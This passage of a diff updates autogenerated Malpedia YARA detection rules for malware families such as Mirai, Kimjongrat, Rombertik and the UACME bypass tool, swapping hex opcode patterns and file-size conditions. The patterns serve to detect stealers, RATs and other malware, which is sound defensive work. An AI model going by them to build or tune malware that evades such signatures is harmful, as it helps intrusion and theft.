-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kleptoparasite_stealer_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miniblindingcan_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "1caf749c6c15dea159c6ab2428d269f9b9674545b72666548fcdc2b3e50e89c9"
-		score = 60
-		quality = 35
+		logic_hash = "7b8607880b97335be49c71c4d350efefeb788c1420c4ead3bd8ed006de1090db"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150855,32 +157986,32 @@ rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7405 8901 895104 8be5 5d c3 3b0d???????? }
-		$sequence_1 = { ebe4 6a0c 68???????? e8???????? 8365e400 33c0 8b7d08 }
-		$sequence_2 = { e8???????? cc 55 8bec 56 e8???????? 8b7508 }
-		$sequence_3 = { 895104 8be5 5d c3 3b0d???????? 7502 }
-		$sequence_4 = { b8???????? c3 e9???????? 55 8bec 56 e8???????? }
-		$sequence_5 = { 59 c3 6a10 68???????? e8???????? 33ff 897de0 }
-		$sequence_6 = { 895104 8be5 5d c3 3b0d???????? }
-		$sequence_7 = { cc 55 8bec 56 e8???????? 8b7508 6a02 }
-		$sequence_8 = { 8901 895104 8be5 5d c3 3b0d???????? 7502 }
-		$sequence_9 = { c3 e9???????? 55 8bec 56 e8???????? 8bf0 }
+		$sequence_0 = { 899424b0000000 81faff000000 7c37 b881808080 488bce f7e2 c1ea07 }
+		$sequence_1 = { 8bc6 45338c8c600a0200 c1e808 c1eb08 41c1ea10 0fb6c8 410fb6c0 }
+		$sequence_2 = { 48ffc1 49ffc8 75ed 488b542428 4c8d442420 488bce e8???????? }
+		$sequence_3 = { 660f6e7310 488d4c2438 f30fe6f6 ff15???????? 488d542430 488d4c2438 ff15???????? }
+		$sequence_4 = { 483b442420 0f8710040000 4883fd0f 0f82e7030000 488d7df1 c606f0 }
+		$sequence_5 = { 488d0579340000 488905???????? e9???????? 81fb39380000 7513 488d0553340000 488905???????? }
+		$sequence_6 = { 48ffc6 448bc1 f7e1 c1ea07 4c89442430 8bc2 }
+		$sequence_7 = { 488bc8 ff15???????? 488d1528a70000 488bce 488905???????? ff15???????? 488bc8 }
+		$sequence_8 = { 488b4590 83a0c8000000fd 83c8ff e9???????? 4183cfff f6431840 4c8d0dc50dffff }
+		$sequence_9 = { 740a b801000000 e9???????? 4533c9 }
 
 	condition:
-		7 of them and filesize <3006464
+		7 of them and filesize <453632
 }
-rule MALPEDIA_Win_Rombertik_Auto : FILE
+rule MALPEDIA_Win_Waterminer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b8dc9071-13ab-5355-92f1-2480db82efe0"
+		id = "a6c61a63-af94-546a-ae52-fcf958232615"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rombertik_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.waterminer_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "c93757fb5684dd7302fa22ed1f1f21c4fae8e9b1525dbcd58ab0d5e9fecbc821"
+		logic_hash = "3dbc2a8def87fd5744e5b18617b0d65739b7ff2d0b5a69125fd601baee65e3fe"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150894,32 +158025,38 @@ rule MALPEDIA_Win_Rombertik_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945f4 3bc1 0f8271ffffff 5f 5e }
-		$sequence_1 = { 8bff 8b4104 85c0 7446 83c0f8 33ff }
-		$sequence_2 = { 8bcf e8???????? 50 8d8dfcfeffff }
-		$sequence_3 = { 47 41 3bfb 72be 8b5df0 }
-		$sequence_4 = { 50 ff15???????? 8bf8 85ff 0f8488000000 }
-		$sequence_5 = { 33db 57 895df8 ff15???????? 85c0 }
-		$sequence_6 = { 8b5d0c 85db 0f84cb000000 837d1400 0f84c1000000 817d18a00f0000 0f87b4000000 }
-		$sequence_7 = { 50 8bc2 50 8d8decfeffff 51 ffd6 }
-		$sequence_8 = { 895dfc 85db 0f84d8000000 85ff }
-		$sequence_9 = { 6a03 6a00 6a02 68000000c0 68???????? ff15???????? 8906 }
+		$sequence_0 = { 8b8514f3ffff e9???????? 83bda4f5ffff00 0f8532010000 8b8db8f5ffff c1e104 83bc0dbcf9ffff00 }
+		$sequence_1 = { 03442410 4403e8 428b4405e7 418bd5 }
+		$sequence_2 = { 03bc24a8000000 488bcd 4c8d0d35cb0300 83e13f }
+		$sequence_3 = { 51 b804000000 6bc019 8b8880434b00 330d???????? 894dfc 740d }
+		$sequence_4 = { 8b8da4fbffff 83e901 898da4fbffff 83bd10fbffff00 }
+		$sequence_5 = { 8bcd 50 8d15b0854300 e8???????? }
+		$sequence_6 = { 03c0 2bc8 0f84ec040000 8d41ff 8b848288d20600 }
+		$sequence_7 = { 0344240c 4403d0 488d051a560500 418b0400 }
+		$sequence_8 = { 03c1 03d0 488d051e580500 418b0400 }
+		$sequence_9 = { 83bd60ffffff0b 0f8711060000 8b8d60ffffff ff248d74304800 0fbe55d3 }
+		$sequence_10 = { 02c8 41880c18 418a03 240f }
+		$sequence_11 = { 0344240c 4403d0 428b4405e7 418bd2 }
+		$sequence_12 = { 02d0 49ffc3 418d4001 881418 }
+		$sequence_13 = { c78538fbffff01000000 eb0a c78538fbffff00000000 8b8538fbffff 898530fbffff }
+		$sequence_14 = { 8b95c4fbffff 8995f0fbffff 8b85ecfbffff 055d010000 898580fbffff }
+		$sequence_15 = { 33c5 8945fc 8bf4 6a00 8bfc ff15???????? 3bfc }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <1556480
 }
-rule MALPEDIA_Win_Pcshare_Auto : FILE
+rule MALPEDIA_Win_Unidentified_096_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7acb8456-1058-55a0-81ba-27e3cb590933"
+		id = "22c09f40-2011-5730-9e32-986d3f55e0d2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pcshare_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_096_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "7ae15dd51d8c67d0995dcb010803cd76a95f2636c119f9eefe8dfedf04aaf2b7"
+		logic_hash = "5261db5ca22f6df28b3364eb8987d65dbffd712b51f02eb4b92928e711dc9c45"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150933,32 +158070,32 @@ rule MALPEDIA_Win_Pcshare_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b48fc 03f7 8b78f8 8bd1 03fb c1e902 }
-		$sequence_1 = { 33ed 8d0c18 8bc3 99 }
-		$sequence_2 = { e8???????? 85c0 59 743e 8305????????20 8d0c9da0720610 }
-		$sequence_3 = { 8bc6 8b0c8da0720610 8d04c0 80648104fd 8d448104 8bc7 5f }
-		$sequence_4 = { 8d4c2418 50 51 e8???????? 83c40c 84c0 7439 }
-		$sequence_5 = { c1e705 f6441f0e01 7428 8b4c2474 81e2ffff2f00 895008 8b542440 }
-		$sequence_6 = { 51 eb07 8b16 8d441a02 }
-		$sequence_7 = { 85c0 7505 b8???????? 8078fffe 732f }
-		$sequence_8 = { 83c418 894c2424 b940000000 f3ab 66ab aa b940000000 }
-		$sequence_9 = { 3bd0 0f8c93fdffff 33ed 5b 8b74243c 8a4c241c }
+		$sequence_0 = { 896c2444 c744244806000000 896c244c c744245010304000 }
+		$sequence_1 = { ff15???????? 8bf0 a1???????? 3bf0 }
+		$sequence_2 = { b021 a2???????? eb56 b040 a2???????? eb4d }
+		$sequence_3 = { b02b eb11 b02d eb0d f644240c01 740b b02e }
+		$sequence_4 = { 68???????? 52 e8???????? 83c424 8b4c242a 6683f930 0f8283000000 }
+		$sequence_5 = { 90 6aff 68???????? 68???????? 64a100000000 }
+		$sequence_6 = { 8b4c2420 8b54241c 8b442414 51 52 68ff000000 }
+		$sequence_7 = { 3dff000000 741d 8b4c2420 8b54241c 51 52 }
+		$sequence_8 = { b029 a2???????? eb5f b021 }
+		$sequence_9 = { 56 8b35???????? 57 6a14 ffd6 6a10 0fbfd8 }
 
 	condition:
-		7 of them and filesize <893708
+		7 of them and filesize <25648
 }
-rule MALPEDIA_Elf_Mirai_Auto : FILE
+rule MALPEDIA_Win_Waterspout_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "99bf67bb-d881-5d1d-9ccf-8805d4c126fc"
+		id = "966cd02d-f7ac-590a-a30e-6be6c0215ec6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.mirai_auto.yar#L1-L92"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.waterspout_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "53d684afadf5b7afddedfe71964fc5273146fef2945717259a3274aa2e1d04ee"
+		logic_hash = "791d1c9b538b0f8a628f6a3764a4be7336ff1d48478e7334334b2fc3c8924313"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150972,30 +158109,32 @@ rule MALPEDIA_Elf_Mirai_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6689432a e8???????? c7433400000000 894330 }
-		$sequence_1 = { 89d0 c1e005 01d0 89ca }
-		$sequence_2 = { 894330 c6433801 c6433903 c6433a03 c6433b06 }
-		$sequence_3 = { 66c1e808 d0e8 8d04c0 28c2 }
-		$sequence_4 = { 3c19 7705 8d42e0 8801 }
-		$sequence_5 = { 807c242b00 66894304 7406 66c743064000 c643092f }
-		$sequence_6 = { 66894104 7406 66c741064000 c6410911 }
-		$sequence_7 = { 8b1408 895310 8b54080c 66895314 }
+		$sequence_0 = { fec8 53 8841ff 8d4c2418 ff15???????? eb3a 3bf3 }
+		$sequence_1 = { c684243a01000023 c684243b0100003d c684243c010000ee c684243d0100004c c684243e01000095 c684243f0100000b c684244001000042 }
+		$sequence_2 = { 8d4c244c 68???????? 51 ff15???????? 8d7c2454 83c9ff 33c0 }
+		$sequence_3 = { 51 52 ff15???????? 85c0 7415 a1???????? 3bc3 }
+		$sequence_4 = { 50 8b842410200000 51 52 68???????? 50 }
+		$sequence_5 = { 6a00 a4 ff15???????? 50 ff15???????? 8b742460 }
+		$sequence_6 = { 0f84aa000000 6a00 56 55 }
+		$sequence_7 = { 8d542414 51 52 ffd6 83f801 74db 5f }
+		$sequence_8 = { a3???????? 8b442428 68???????? 6a00 6a6b }
+		$sequence_9 = { 33c0 8dbdfcfeffff 85f6 f3ab 7511 8d85fcfeffff 50 }
 
 	condition:
-		7 of them and filesize <2228224
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Client_Maximus_Auto : FILE
+rule MALPEDIA_Win_Unidentified_001_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9ae68e0c-f7b3-57b3-a5e5-43c9d1c73212"
+		id = "7c85316d-7785-5af3-87a9-b2590753f62d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.client_maximus_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_001_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "b18f0f0d0ef0e4099637c9406b0101b6f1ae3668adb85f5994962285717f3168"
+		logic_hash = "4757a1bf889ab5e180c54dba6f09c40c0355df630267d0efd95e630d6757bdc3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151009,32 +158148,32 @@ rule MALPEDIA_Win_Client_Maximus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89f0 0fb6c0 0fb61403 88140b 83c101 89fa 81f900010000 }
-		$sequence_1 = { 89e5 56 53 83ec10 8b1d???????? }
-		$sequence_2 = { 893424 ff15???????? 83ec08 85c0 7411 }
-		$sequence_3 = { e8???????? 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 }
-		$sequence_4 = { 39730c 7fe1 891424 e8???????? }
-		$sequence_5 = { 7429 c70424???????? ff15???????? 83ec04 a3???????? }
-		$sequence_6 = { 8b4628 85c0 7535 c70424???????? }
-		$sequence_7 = { a3???????? c7442404???????? 893424 ff15???????? 83ec08 85c0 7411 }
-		$sequence_8 = { 89c8 0fb63c0b 99 f77c241c 89f8 }
-		$sequence_9 = { 89f8 02441500 01c6 89f0 0fb6c0 }
+		$sequence_0 = { 6830750000 ffd6 8b4df8 85c9 7483 8d45fc }
+		$sequence_1 = { fec1 88143e 3a4801 72e6 5f 5e 5d }
+		$sequence_2 = { 2bc6 0f8421fdffff 2df2020000 0f8478fbffff 2d13030000 }
+		$sequence_3 = { b952555300 3bc1 7767 74d3 }
+		$sequence_4 = { 8bf1 8b06 57 56 ff5048 8bf8 85ff }
+		$sequence_5 = { ff15???????? 50 ff15???????? 8bf0 8975f8 3bf3 }
+		$sequence_6 = { 893d???????? e9???????? c705????????10000000 e9???????? 2d46494e00 7461 48 }
+		$sequence_7 = { 6a04 68???????? 6a07 6800080000 }
+		$sequence_8 = { 8935???????? 8d45cc 50 57 }
+		$sequence_9 = { 50 ff5108 8b45e4 3bc3 5b 7406 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Snifula_Auto : FILE
+rule MALPEDIA_Win_Aytoke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3dffa8bc-fef5-5d9b-860e-b2ad6113d3e0"
+		id = "f1478c56-9c46-5623-bd25-6c48e27a19e0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snifula_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aytoke_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "5394c0842b5f05f382e3a7b0318fd2397f5c79fe7938989019ff20c4e8348941"
+		logic_hash = "7de9f368c79cc6db2fb2092fd19a4e0bd2fcaaf4a3ec4500b832560e5022850b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151048,32 +158187,32 @@ rule MALPEDIA_Win_Snifula_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 ff35???????? ffd7 6800040000 53 ff35???????? }
-		$sequence_1 = { 53 6a00 ff35???????? ff15???????? b8???????? 83c9ff }
-		$sequence_2 = { 6a00 ff35???????? 8945fc ff15???????? 8bf8 85ff }
-		$sequence_3 = { a1???????? 85c0 75ef 53 57 bb???????? }
-		$sequence_4 = { ff15???????? 8bf8 83ffff 747f 53 8d450c 50 }
-		$sequence_5 = { e8???????? 85c0 740c 81386368756e 7504 834e1002 8bc6 }
-		$sequence_6 = { c1e802 25ff000000 8d44c72c 8b18 3bd8 7432 }
-		$sequence_7 = { 83f803 7533 ff7304 8bc7 ff750c e8???????? 8b4724 }
-		$sequence_8 = { 68???????? 56 ff15???????? 83c414 68???????? 56 }
-		$sequence_9 = { 53 50 889c243c010000 e8???????? a1???????? 83c43c 895c2430 }
+		$sequence_0 = { 6685c9 75e9 e9???????? 33c0 8bff 0fb788103a4100 66898c05fcfdffff }
+		$sequence_1 = { 3c58 770f 0fbec2 0fbe80f83b4100 83e00f eb02 33c0 }
+		$sequence_2 = { 8bd0 83e01f c1fa05 8b149500c44100 59 c1e006 59 }
+		$sequence_3 = { 56 e8???????? c1f805 56 8d3c8500c44100 e8???????? 83e01f }
+		$sequence_4 = { 90 68???????? e8???????? a1???????? 46 83c004 }
+		$sequence_5 = { 2bc2 bb5c000000 85c0 7e16 }
+		$sequence_6 = { be01000000 83c104 83c408 3bce }
+		$sequence_7 = { 33c0 8d642400 0fb7888c3a4100 66898c05fcfdffff 83c002 6685c9 75e9 }
+		$sequence_8 = { 85ff 7424 56 53 6a01 57 }
+		$sequence_9 = { 663bc1 0f85cc130000 8d95fcfcffff 52 ff15???????? 68a0000000 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <425984
 }
-rule MALPEDIA_Win_Action_Rat_Auto : FILE
+rule MALPEDIA_Win_Emdivi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b171bb40-9b64-5f84-b8a8-e9db33470a7a"
+		id = "c7c959fb-e496-5370-834c-2f119e1d6751"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.action_rat_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.emdivi_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "d6b5f7381b8e2ad2725999fb927500f671ba77c3542ba9198900375907d98a2d"
+		logic_hash = "e1fc98ee3cf386dcf808c43ff2c4f0b6085fa811a19f892f7791e8e62f91b120"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151087,32 +158226,32 @@ rule MALPEDIA_Win_Action_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4d0c e8???????? 8b4508 8b4df4 64890d00000000 59 5b }
-		$sequence_1 = { 8b55f8 52 8b4dfc 83c134 e8???????? 8b00 50 }
-		$sequence_2 = { 83c270 52 8b4dfc 83c170 }
-		$sequence_3 = { e8???????? c745d400000000 eb09 8b4dd4 83c101 894dd4 8d4d0c }
-		$sequence_4 = { 7420 0fb645fb 50 8b4df4 8b4918 e8???????? 0fb6d0 }
-		$sequence_5 = { 0fb74202 50 ff15???????? 0fb7c8 8b5514 890a }
-		$sequence_6 = { 6a00 8b45fc 50 8b4d08 51 e8???????? 83c418 }
-		$sequence_7 = { e8???????? 8d8ddcfbffff e8???????? c645fc0e 6a00 68e0930400 6a00 }
-		$sequence_8 = { 0de0000000 b901000000 6bd100 8b4d0c 880411 8b5508 c1fa06 }
-		$sequence_9 = { 8b4df4 3b4df8 750b 68???????? ff15???????? 8b55ec 833a22 }
+		$sequence_0 = { 0fbe441fff 83c404 2bd8 8bf3 8d4601 }
+		$sequence_1 = { 59 c745e401000000 c745e803000000 c745ec05000000 894df0 c745f408000000 c745f80a000000 }
+		$sequence_2 = { c645f800 e8???????? 8b45d4 5b 8b4dfc 33cd 5f }
+		$sequence_3 = { ff5108 e8???????? c3 beff010000 56 }
+		$sequence_4 = { ff750c 8365e000 ff7508 33c0 c645e400 8d7de5 }
+		$sequence_5 = { 5f c9 c3 6a1f }
+		$sequence_6 = { eb07 888415b4fdffff 42 41 41 }
+		$sequence_7 = { 8bf0 e8???????? 99 2bf7 f7fe }
+		$sequence_8 = { 55 8bec 53 56 6a03 5b }
+		$sequence_9 = { 83e003 33d2 3955f0 8945f8 }
 
 	condition:
-		7 of them and filesize <480256
+		7 of them and filesize <581632
 }
-rule MALPEDIA_Win_Boatlaunch_Auto : FILE
+rule MALPEDIA_Win_Feed_Load_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "109242da-f9c2-50c8-b49d-1f772a8283fe"
+		id = "de841c4a-765f-51dc-8d45-847efc3fe997"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boatlaunch_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.feed_load_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "efa924e2b3901352dc645d99e6dd6dafbe8ab78c7c6ccaefe300da9883a180c7"
+		logic_hash = "904d3316a4655c20d123c0cfc976a8494c8f04b302e9078044dfcb4ef1ebf390"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151126,38 +158265,32 @@ rule MALPEDIA_Win_Boatlaunch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4883611000 4883612800 488d4dd8 48c7c2ffff1f00 4c8d45e0 4c8d4d10 }
-		$sequence_1 = { e8???????? 8945e4 6a00 ff75e0 }
-		$sequence_2 = { 2b75ec 0375e4 8b4324 2b45ec 0345e4 }
-		$sequence_3 = { 488d4df0 e8???????? 48c7c1ffffffff 488d55f0 448bc3 e8???????? 3b8558110000 }
-		$sequence_4 = { 480375c8 8b4324 2b45c0 480345c8 488945d0 8b5b18 ad }
-		$sequence_5 = { 85f6 7599 488b0d???????? 33d2 4c8b4500 }
-		$sequence_6 = { 3b8560110000 7526 488b45d0 0fb730 }
-		$sequence_7 = { 488d4dd0 48c7c200001000 4c8d45e0 4c8d4d10 e8???????? 3d0b0000c0 7427 }
-		$sequence_8 = { 50 68ff0f1f00 8d45fc 50 }
-		$sequence_9 = { 8bfe 49 85c9 75ee }
-		$sequence_10 = { e8???????? 8bd8 85db 7452 53 }
-		$sequence_11 = { eb09 8345e802 4b 85db 75af }
-		$sequence_12 = { 50 e8???????? 3d0b0000c0 7423 6a00 ff75f8 e8???????? }
-		$sequence_13 = { 5b 5d c3 48894c2408 89542410 4489442418 }
-		$sequence_14 = { 488b45d8 488d6528 415b 415a 4159 4158 }
-		$sequence_15 = { 8d5ddc c70318000000 c7430400000000 c7430800000000 c7430c00000000 }
+		$sequence_0 = { 48897c2428 4d8bc5 41b940200000 e8???????? 85c0 0f84e2000000 }
+		$sequence_1 = { 0f97c1 493bd2 eb27 4c8d42ff 418a00 4d8d4c24ff 413801 }
+		$sequence_2 = { 41898500400000 488bfd 4d8bfa bd01000000 83fb0d 0f8c42030000 41690ab179379e }
+		$sequence_3 = { 668928 e8???????? 4c8d86500c0000 488bcf e8???????? 4c8d442440 488bcf }
+		$sequence_4 = { 7876 3b1d???????? 736e 488bc3 488bf3 48c1fe06 4c8d2d7a220200 }
+		$sequence_5 = { 0f8c60040000 41837e0800 4c8d05b755ffff 7429 49635608 48035608 0fb60a }
+		$sequence_6 = { 8bd5 ff15???????? 448bc5 488bd6 488bc8 4c8bf0 }
+		$sequence_7 = { 488bc2 4903c7 4103df 803800 75f5 3bdf 7207 }
+		$sequence_8 = { 4c8d3de9c00100 49393cdf 7402 eb22 e8???????? 498904df }
+		$sequence_9 = { 488d157b020200 488d4d88 e8???????? cc }
 
 	condition:
-		7 of them and filesize <33792
+		7 of them and filesize <512000
 }
-rule MALPEDIA_Win_Jimmy_Auto : FILE
+rule MALPEDIA_Win_Kimjongrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6665c46a-fce5-5107-8692-d73430db94ca"
+		id = "db4baf64-c410-5dd4-86f2-fb3657762c91"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jimmy_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kimjongrat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5955b25aaac6bf582c8efb23dc58fc592d4dcf4b96826a166327d6d4b0ee873a"
+		logic_hash = "515b099b5f4271a4a56e7e428e24670deb74340ff8bb9a2bab6a20ed3f485ca9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151171,32 +158304,32 @@ rule MALPEDIA_Win_Jimmy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8908 eb11 e8???????? 8945f4 ff75f8 e8???????? 59 }
-		$sequence_1 = { 8b4508 83602c00 8b45fc c9 c3 55 8bec }
-		$sequence_2 = { 89814c010000 eb27 a1???????? 8b4de4 898840010000 ff75e4 }
-		$sequence_3 = { ff7508 ff55fc 59 59 c9 c3 55 }
-		$sequence_4 = { 6a73 58 668945f2 6a20 58 668945f4 6a25 }
-		$sequence_5 = { 8b4508 ff702c 8b4508 ff7024 e8???????? 59 59 }
-		$sequence_6 = { 50 8d45c4 50 8b4508 83c008 50 6a00 }
-		$sequence_7 = { 85c0 7419 8b45fc 0fbe00 8b4df8 0fbe09 }
-		$sequence_8 = { e8???????? 59 b001 c9 c20800 }
-		$sequence_9 = { 6a09 e8???????? 59 59 8945fc ff7510 ff750c }
+		$sequence_0 = { e9???????? c6840db4edffff2a e9???????? c6840db4edffff26 e9???????? c6840db4edffff5b eb6c }
+		$sequence_1 = { e8???????? 8bd8 83c414 85db 0f8508010000 33c9 894de4 }
+		$sequence_2 = { ff7004 8d4108 50 e8???????? 8b5508 8b4840 894a20 }
+		$sequence_3 = { ff7508 e8???????? 6a01 57 6a4c 56 e8???????? }
+		$sequence_4 = { e9???????? 8b4c8f58 894dd0 898d60ffffff 8b55a4 b860240000 66854208 }
+		$sequence_5 = { c68540d0ffff00 e8???????? 83c40c ba???????? 33c9 8a02 42 }
+		$sequence_6 = { e9???????? c6840da0e8ffff77 e9???????? c6840da0e8ffff76 e9???????? c6840da0e8ffff65 e9???????? }
+		$sequence_7 = { ff30 e8???????? 8b450c 83c404 c70000000000 8b55f8 c645f000 }
+		$sequence_8 = { e9???????? c6840dccf3ffff2d e9???????? c6840dccf3ffff7d e9???????? c6840dccf3ffff29 e9???????? }
+		$sequence_9 = { 8bf8 83c404 897dac 85ff 0f8418f3ffff b800400000 66854608 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <1572864
 }
-rule MALPEDIA_Win_Ratel_Auto : FILE
+rule MALPEDIA_Win_Uacme_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0998b123-774e-59b1-8ca2-1a95e1fb9bf7"
+		id = "f5c3a5f2-a252-5543-b1be-134e5f419833"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratel_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.uacme_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "32361790b47e0503007c9763001c72d5f3f0666a6e89a8bab7c3bc0bd295eb6a"
+		logic_hash = "9cc750a1f13cae79bcf2cd2e379aedeb4cbdf45f9813c77d239c596ff07109f6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151210,32 +158343,32 @@ rule MALPEDIA_Win_Ratel_Auto : FILE
